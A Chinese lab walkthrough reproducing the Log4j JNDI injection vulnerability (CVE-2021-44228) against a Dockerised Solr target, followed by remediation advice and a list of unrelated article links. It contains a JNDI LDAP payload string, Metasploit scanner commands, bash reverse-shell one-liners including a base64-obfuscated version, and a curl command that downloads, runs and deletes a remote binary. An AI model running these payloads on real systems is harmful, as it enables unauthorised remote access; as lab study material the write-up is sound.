log4j漏洞复现

1、apache log4j

是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞,导致攻击者可以控制日志内容的情况下,传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入,执行远程命令。

JNDI:

命名和目录接口,是java的一个目录服务应用程序接口,功能:提供一个目录系统,将服务名称和对象关联起来,使开发能使用名称来访问对象。

目录系统:通过名字可以访问服务

如:http ------web服务

jndi可以远程加载ldap、rmi服务端提供的一些恶意代码

ldap:轻量级目录访问协议(类似于http,可以通过ldap://xxx.com访问)

log4j:

fatal  严重/致命

error  错误

warn   警告

info   信息

debug  调试

trace  程序运行轨迹

all    所有日志级别

定制     自定义的级别

2、漏洞发现或检测

(1)启动靶场

docker-compose up -d

浏览器访问http://192.169.59.10:8983

如物理机无法访问

[root@localhost CVE-2021-44228]# docker-compose down

[root@localhost CVE-2021-44228]# systemctl stop docker

[root@localhost CVE-2021-44228]# ifconfig docker0 down

[root@localhost CVE-2021-44228]# brctl delbr docker0

[root@localhost CVE-2021-44228]# systemctl start docker

[root@localhost CVE-2021-44228]# docker-compose up -d

(2)msf检测

msfdb run

msf6 > use auxiliary/scanner/http/log4shell_scanner

msf6 auxiliary(scanner/http/log4shell_scanner) > show options

msf6 auxiliary(scanner/http/log4shell_scanner) > set rhosts 192.168.59.10

rhosts => 192.168.59.10

msf6 auxiliary(scanner/http/log4shell_scanner) > set rport 8983

rport => 8983

msf6 auxiliary(scanner/http/log4shell_scanner) > set srvhost 192.168.59.6

srvhost => 192.168.59.6

msf6 auxiliary(scanner/http/log4shell_scanner) > run

3、漏洞利用

dnslog外带数据证明是否存在漏洞

比如注册一个域名xiaoxiang.com ,我把它得A记录解析到192.168.1.1, 当dns服务器发起 www.xiaoxiang.com请求时,dnslog中会记录下来这个域名,并给www.xiaoxiang.com做一下解析,解析得ip是192.168.1.1

我们把想获取得数据或信息和dnslog平台得域名拼接起来,dnslog平台就会把目标服务器的请求记录显示出来

Log4j漏洞路径:/solr/admin/cores?action=

4、利用log4j漏洞获取服务器权限

方法一:利用中转机反弹shell

方法二:bash反弹

kali启用ldap服务

在目标机执行反弹shell的命令

反弹shell:让目标机主动外联攻击机

正向shell:ssh登录

命令:bash -i > /dev/tcp/192.168.59.6/5555 2>&1 0>&1

bash -i 创建一个交互式的shell

/dev/tcp/192.168.59.6/5555  去连接59.6的5555端口

/dev/tcp   打开这个文件相当于发起了一个socket连接,读写这个文件就相当于在socket传输数据

0   标准输入   I

1   标准输出   O

2   标准错误

精简版:bash -i >& /dev/tcp/192.168.59.6/5555 0>&1

>& 将标准输出和错误重定向到59.6/5555

base64编码  YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx

c

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}"     空格用逗号代替

curl -so /tmp/jiali http://192.168.59.6/jiali;chmod +x /tmp/jiali;/tmp/jiali;rm -f /tmp/jiali

5、修复建议

根除方案

(1)升级到2.15.0版本及以上

不要用2.15.0-rc1和2.15.0-rc2

(2)加装防护设备

(3)配置策略阻断log4j利用链

临时处置措施

(1)升级java版本

(2)修改log4j配置

jvm参数设置成true

(3)禁止log4j所在的服务器外连

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519816.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C盘清理指南

1,临时文件清理 %TEMP%是Windows系统临时文件的环境变量,直接作为指令执行可以打开当前系统的临时文件夹。许多用户通过删除该文件夹中的文件来清理Windows的临时文件,但实际上这样清理并不彻底,我们可以有更轻松、安全的方法。风…

【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图

SCI,CCF,EI及核心期刊绘图宝典,爆款持续更新,助力科研! 本期分享: 【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图,文末附完整代码。 1.环境准备 python 3 import proplot as pp…

Java流操作解析:深度剖析中间操作、终端操作与并行处理机制

文章目录 一、中间操作1.1 过滤(filter)1.2 映射(map)1.3 排序(sorted)1.4 去重(distinct) 二、 终端操作2.1 收集(collect)2.2 计数(count&#…

leetcode热题100.跳跃游戏2

Problem: 45. 跳跃游戏 II 文章目录 题目思路复杂度Code 题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nums[i j] 处: …

leetcode.24. 两两交换链表中的节点

题目 给定一个链表,两两交换其中相邻的节点,并返回交换后的链表。 你不能只是单纯的改变节点内部的值,而是需要实际的进行节点交换。 思路 创建虚拟头节点,画图,确认步骤。 实现 /*** Definition for singly-li…

C++运算符重载如何模拟数学表达式,或模拟Python sympy和numpy

在人工智能数学基础一书中,下面是一题Python求函数极限的例子: 【例2.6】使用Python编程求 lim( x → 1) (x^2 - 1 / x - 1) ————————————————————————————————————————— import sympy from sympy import oo…

详细剖析多线程3----代码案例分析

文章目录 一、单例模式(校招中最常考的设计模式之⼀)1.1饿汉模式1.2懒汉模式 二、阻塞队列三、定时器四、线程池五、总结 一、单例模式(校招中最常考的设计模式之⼀) 单例模式是一种设计模式,其核心思想是保证一个类只有一个实例,并提供一个全局访问点来…

Three.js阴影贴图

生成阴影贴图的步骤如下: 从光位置视点(阴影相机)创建深度图。从相机的角度进行屏幕渲染在每个像素点,将阴影相机的MVP矩阵计算出的深度值与深度图值进行比较如果深度图值较低,则说明该像素点存在阴影 ,因…

html5如何在使用原生开发的情况下实现组件化

我们知道如何在vue/react中使用组件化开发,那么如果只是一个简单的界面,一个HTML就搞定的事情,你还会去新建一个vue/react项目吗? 在使用原生HTML开发时,我们也会遇到一些常见的功能、模块,那么如何在原生…

【APUE】网络socket编程温度采集智能存储与上报项目技术------多路复用

作者简介: 一个平凡而乐于分享的小比特,中南民族大学通信工程专业研究生在读,研究方向无线联邦学习 擅长领域:驱动开发,嵌入式软件开发,BSP开发 作者主页:一个平凡而乐于分享的小比特的个人主页…

无锡国家集成电路设计中心某公司的单锂小电机直流电机H桥驱动电路

H桥驱动 L9110S是一款直流电机驱动电路,适合单节锂电池应用。输出电流0.4A。价格约3毛。 推荐原因: 某些人应该知道这个地方,大多数人应该不知道这个地方,所以推荐一下。 这个地方去过几次,某公司与某方走的“近”&…

在同一个局域网如何共享打印机和文件

1.在连接了打印机的主机上设置 1.1启用windows共享 打开网络与共享中心,点击“更改高级共享设置” 选择: “启用网络发现”“启用文件和打印机共享”“启用共享以便可以访问网络的用户可以读取和写入公用文件夹中的文件” 打开控制面板,选…

C#将Console写至文件,且文件固定最大长度

参考文章 将C#的Console.Write同步到控制台和log文件输出 业务需求 在生产环境中,控制台窗口不便展示出来。 为了在生产环境中,完整记录控制台应用的输出,选择将其输出到文件中。 但是,一次性存储所有输出的话,文件会…

NASA数据集——加拿大西北地区(NWT)2014 年被野火烧毁的北方森林的实地数据

ABoVE: Characterization of Carbon Dynamics in Burned Forest Plots, NWT, Canada, 2014 简介 文件修订日期:2019-04-12 数据集版本: 1 摘要 该数据集提供了加拿大西北地区(NWT)2014 年被野火烧毁的北方森林的实地数据。在 2015 年的实…

(学习日记)2024.04.03:UCOSIII第三十一节:信号量函数接口讲解

写在前面: 由于时间的不足与学习的碎片化,写博客变得有些奢侈。 但是对于记录学习(忘了以后能快速复习)的渴望一天天变得强烈。 既然如此 不如以天为单位,以时间为顺序,仅仅将博客当做一个知识学习的目录&a…

Linux (Ubuntu)- mysql8 部署

目录 1.基本部署 2.修改密码 3.开启root可远程连接配置 1.基本部署 01》》先查看OS类型,如果是Ubuntu在往下边看 rootspray:/etc/mysql/mysql.conf.d# lsb_release -a LSB Version: core-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch Distributor ID: …

12-1-CSS 常用样式属性

个人主页:学习前端的小z 个人专栏:HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结,欢迎大家在评论区交流讨论! 文章目录 CSS 常用样式属性1 CSS 三角形2 CSS 用户界面样式2.1 什么是界面样式2.2 鼠标…

【Spring】AOP——使用@around实现面向切面的方法增强

工作业务中,有大量分布式加锁的重复代码,存在两个问题,一是代码重复率高,二是容易产生霰弹式修改,使用注解和AOP可以实现代码复用,简化分布式锁加锁和解锁流程。 around注解是AspectJ框架提供的&#xff0c…

RK3568测试

作者简介: 一个平凡而乐于分享的小比特,中南民族大学通信工程专业研究生在读,研究方向无线联邦学习 擅长领域:驱动开发,嵌入式软件开发,BSP开发 作者主页:一个平凡而乐于分享的小比特的个人主页…

Prometheus+grafana环境搭建Docker服务(docker+二进制两种方式安装)(八)

由于所有组件写一篇幅过长,所以每个组件分一篇方便查看,前七篇链接如下 Prometheusgrafana环境搭建方法及流程两种方式(docker和源码包)(一)-CSDN博客 Prometheusgrafana环境搭建rabbitmq(docker二进制两种方式安装)(二)-CSDN博客 Prometheusgrafana环…